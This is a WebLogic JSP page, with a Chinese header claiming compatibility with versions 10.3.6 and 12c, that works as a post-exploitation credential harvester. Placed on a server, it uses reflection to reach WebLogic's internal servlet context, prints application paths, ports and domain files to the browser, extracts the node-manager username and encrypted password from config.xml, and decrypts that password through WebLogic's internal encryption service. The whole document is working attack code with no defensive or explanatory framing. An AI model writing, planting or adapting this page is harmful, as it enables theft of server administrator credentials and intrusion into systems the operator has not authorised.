兼容 10.3.6 与 12c
<%@ page import="java.lang.reflect.Field" %><%@ page import="weblogic.servlet.internal.WebAppServletContext" %><%@ page import="weblogic.servlet.internal.ServletRequestImpl" %><%@ page import="java.io.File" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.FileReader" %><%@ page import="java.util.List" %><%@ page import="java.util.ArrayList" %><%@ page import="java.util.regex.Pattern" %><%@ page import="java.util.regex.Matcher" %><%@ page import="weblogic.security.internal.encryption.EncryptionService" %><%@ page import="weblogic.security.internal.encryption.ClearOrEncryptedService" %><%@ page import="weblogic.security.internal.SerializedSystemIni" %><%@ page import="java.nio.charset.StandardCharsets" %><%@ page import="java.util.Arrays" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>Weblogic-Info</title></head><body><%!public static WebAppServletContext GetWebAppContext(){Thread thread = Thread.currentThread();WebAppServletContext webAppServletContext = null;try {Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");workEntry.setAccessible(true);Object workentry = workEntry.get(thread);try { //weblogic 12.1.3Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");connectionHandler.setAccessible(true);Object http = connectionHandler.get(workentry);Field request1 = http.getClass().getDeclaredField("request");request1.setAccessible(true);ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);Field context = servletRequest.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(servletRequest);} catch (Exception e) {//weblogic 1036Field context = workentry.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(workentry);}}catch (Exception e){}return webAppServletContext;}public static String GetFileContent(String path, HttpServletResponse response){String ConfigContent = "None";try {File file = new File(path);response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");response.getWriter().println("以下是"+ path +"中的内容" + "<br>");response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");Scanner sc = new Scanner(new FileReader(file));StringBuilder sb = new StringBuilder();response.getWriter().println("<xmp>");while (sc.hasNextLine()) {String line = sc.nextLine();response.getWriter().println(line);sb.append(line);}response.getWriter().println("</xmp>");ConfigContent = sb.toString();response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");}catch (Exception e){}return ConfigContent;}public static List<String> GetConfigInfo(String pattern, String sb){List<String> list = new ArrayList<String>();try {Pattern pat = Pattern.compile(pattern);Matcher matcher = pat.matcher(sb);String info = "";while (matcher.find()) {int i = 1;info = matcher.group(i);list.add(info);}return list;}catch (Exception e){}return list;}public static String DecryptPass(String encpass){EncryptionService es = null;ClearOrEncryptedService ces = null;es = SerializedSystemIni.getEncryptionService();if (es == null) {return "Unable Decrypt";}ces = new ClearOrEncryptedService(es);if (encpass != null) {return new String(ces.decryptBytes(encpass.getBytes(StandardCharsets.UTF_8)));}return "Unable Decrypt";}%><%response.getWriter().println("当前项目名称:" + request.getContextPath() + "<br>");response.getWriter().println("当前应用端口:" + request.getLocalPort() + "<br>");response.getWriter().println("当前服务器地址:"+ request.getServerName() + "<br>");try {//获取WebAppServletContextWebAppServletContext webAppServletContext = GetWebAppContext();response.getWriter().println("应用名称:" + webAppServletContext.getAppName() + "<br>");response.getWriter().println("应用目录:" + webAppServletContext.getRootTempDir().getAbsolutePath() + "<br>");}catch(Exception e){}try {//读取配置文件String ConfigContent = GetFileContent("./config/config.xml", response);List<String> DomainVersion = GetConfigInfo("<domain-version>(.*?)</domain-version>", ConfigContent);List<String> NodeUsername = GetConfigInfo("<node-manager-username>(.*?)</node-manager-username>", ConfigContent);List<String> NodePassword = GetConfigInfo("<node-manager-password-encrypted>(.*?)</node-manager-password-encrypted>", ConfigContent);List<String> ConsolePath = GetConfigInfo("<console-context-path>(.*?)</console-context-path>", ConfigContent);response.getWriter().println("当前weblogic 版本 " + DomainVersion + "<br>");response.getWriter().println("当前weblogic 控制台 " + ConsolePath + "<br>");response.getWriter().println("当前weblogic 管理用户名 " + NodeUsername + "<br>");response.getWriter().println("当前weblogic 密码字符串 " + NodePassword + "<br>");try {response.getWriter().println("当前weblogic 尝试解密密码hash值 " + DecryptPass(NodePassword.get(0)) + "<br>");}catch (Exception e){}}catch(Exception e){}try{String DomainInfo = GetFileContent("./../../../domain-registry.xml", response);List<String> Domains_list = GetConfigInfo("<domain location=\"(.*?)\"/>", DomainInfo);String[] Domains = Domains_list.toArray(new String[0]);response.getWriter().println("当前weblogic存在的域 " + Arrays.toString(Domains) + "<br>");}catch (Exception e){}%></body></html>
